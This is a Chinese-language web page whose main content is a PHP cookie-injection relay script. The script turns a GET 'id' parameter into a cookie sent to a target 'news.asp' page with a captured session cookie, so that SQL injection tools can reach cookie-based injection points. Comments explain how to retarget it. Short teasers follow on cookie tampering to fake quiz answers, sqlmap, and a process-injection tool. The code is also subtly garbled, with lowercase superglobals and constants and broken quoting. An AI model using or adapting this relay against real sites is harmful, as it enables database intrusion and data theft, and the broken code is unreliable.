error_reporting(7);
ini_set("max_execution_time",0);
$id=$_get["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3d",$id);
/*articleid 換成注入頁面的變數
例如 注入變數就是articleid
*/$inject="articleid";
//session是原來的cookie,可以自己抓包獲取
$session ="aspsessionidscbrdard=aaghanmcchbpldnpcimfolpi;";
$cookie=$inject."=".$id.";".$session;
//echo $cookie;
//referer 是引用頁位址,一般和目標**相同
$referer="";
//url是注入頁面的位址,注意這裡不要再把注入變數寫進去
$url="news.asp";
$curl=curl_init();
curl_setopt($curl,curlopt_header,0);
curl_setopt($curl,curlopt_returntransfer,1);
curl_setopt($curl,curlopt_referer,$referer);
curl_setopt($curl,curlopt_url,$url);
curl_setopt($curl,curlopt_cookie,$cookie);
$content=curl_exec($curl);
//這一句是為了把和iframe的相對位址改為絕對位址,根據需要可以注釋掉
$content=str_replace("src="","src="".$referer,$content);
echo $content;
?>
Cookies修改檢視工具
iecookiesview是一款不錯的cookies修改檢視工具，很早以前就進駐我的電腦了，昨天幫了我乙個大忙。單位需要在網上答n份題，每份有近百道不定項選擇題，如果人工勾選，費時費力還容易出錯，檢視了一下 的提交方式，原來所有的答題結果都儲存在cookies裡面。這就好辦了，拿出cookies將乙...
注入工具學習
sqlmap工具學習 sqlmap的功能有從資料庫提權資料如果許可權較大可以在作業系統上執行命令 讀寫檔案 檢測動態頁面中的get post引數 cookie http頭以及xss漏洞檢測。一 特點及功能 sqlmap的探測技術包括 布林型盲注檢測 時間的盲注檢測 顯錯式注入 union聯合查詢 堆...
注入工具學習筆記
注入工具學習筆記 開啟od再開啟winmine.exe程式 ctrl g搜messageboxa 記下位址7422f880並關閉od 開啟注入工具.exe 開啟winmine.exe並連線到注入工具 按左上角電腦圖示選中掃雷程式 輸入 右擊 注入遠端 按扭 成功顯示訊息對話方塊 話柄 視窗指標 訊息...